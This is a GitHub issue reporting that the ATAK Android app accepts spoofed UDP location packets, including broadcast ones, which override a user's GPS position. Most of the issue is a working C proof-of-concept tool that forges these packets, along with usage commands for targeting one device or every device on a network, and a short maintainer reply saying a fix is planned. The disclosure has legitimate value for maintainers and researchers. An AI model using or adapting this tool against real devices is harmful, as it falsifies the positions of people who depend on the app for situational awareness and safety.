AndroidTacticalAssaultKit-CIV icon indicating copy to clipboard operation
AndroidTacticalAssaultKit-CIV copied to clipboard

ATAK vulnerable to cyberattack: user location can be remotely overridden

Open 314analytics opened this issue 2 years ago • 1 comments

In past versions of ATAK, this attack surface was (unwisely) left open by default, but at least it could be manually closed by the user via the menu option Settings > Device Preferences > GPS Preferences > GPS Option.

That user option is no longer available, seemingly leaving the attack surface always open.

Below is a proof of concept attack utility. The attacker doesn't even need to know the IP address of the ATAK user, since ATAK will accept these packets from broadcast addresses as well.

Usage is as simple as:

./demoGPS 255.255.255.255
./demoGPS 192.168.12.34

where the former broadcasts to every ATAK user on the network, and the latter is to a specific user device IP address of your choosing.

As long as one of these packets is sent every few seconds, the target user(s) will be immobilized at a false location.

The false location is hardcoded in this example, but you can see that it is straightforward to modify this to your end requirements.

/*
  THIS FILE IS PROVIDED AS IS WITH NO WARRANTY OF ANY KIND, INCLUDING THE
  WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE.
*/

#include <stdio.h>
#include <string.h>
#include <stdlib.h>

#if defined(_MSC_VER) || defined(__MINGW32__)
	#include <windows.h>
	#define snprintf _snprintf
#else
	#include <sys/types.h>
	#include <sys/socket.h>
	#include <arpa/inet.h>
	#include <unistd.h>
	typedef struct sockaddr * LPSOCKADDR;
	typedef int SOCKET;
	typedef struct sockaddr_in SOCKADDR_IN;
#endif

int main(int argc, char *argv[])
{
	int outcome, portno;
#if defined(_MSC_VER) || defined(__MINGW32__)
	WSADATA wsaData;
#endif
	SOCKADDR_IN victim;
	SOCKET udpSocket;
	double lat = 38.678315, lon = -77.138435, hae = 250.0;
	const char *ipaddr;
	int length;
	static char buffer[2048];
	int set_option_on = 1;

	if (argc < 2)
	{
		printf("%s <ip_addr> [udp_port]\n", argv[0]);
		return -1;
	}

	ipaddr = argv[1];
	portno = (argc > 2) ? atoi(argv[2]) : 4349;

#if defined(_MSC_VER) || defined(__MINGW32__)
	outcome = WSAStartup(MAKEWORD(2,0), &wsaData);

	/* check the version */
	if (wsaData.wVersion != MAKEWORD(2,0)) return -1;
#endif

	victim.sin_family = AF_INET;
	victim.sin_addr.s_addr = inet_addr(ipaddr);
	victim.sin_port = htons((unsigned short)portno);

	udpSocket = socket(AF_INET, SOCK_DGRAM, 0);
#if defined(_MSC_VER) || defined(__MINGW32__)
	if (INVALID_SOCKET == udpSocket) return -1;
#else
	if (udpSocket <= 0) return -1;
#endif

	setsockopt(udpSocket, SOL_SOCKET, SO_BROADCAST, (char*) &set_option_on, sizeof(set_option_on));

	snprintf(buffer, sizeof(buffer), "<?xml version=\"1.0\"?>\xA<event version=\"2.0\" uid=\"GPS\" type=\"a-f-G-I-U-T\"><detail/><point lat=\"%f\" lon=\"%f\" hae=\"%f\" ce=\"10.1\" le=\"9999999.0\"/></event>", lat, lon, hae);

	length = strlen(buffer);

	outcome = sendto(udpSocket, (char *)buffer, length, 0, (LPSOCKADDR) &victim, sizeof(victim));

#if defined(_MSC_VER) || defined(__MINGW32__)
	closesocket(udpSocket);
#else
	close(udpSocket);
#endif

	return 0;
}

314analytics avatar Jul 20 '22 16:07 314analytics

This should be resolved as part of 4.5.1 and 4.6.

bisgroves avatar Jul 21 '22 17:07 bisgroves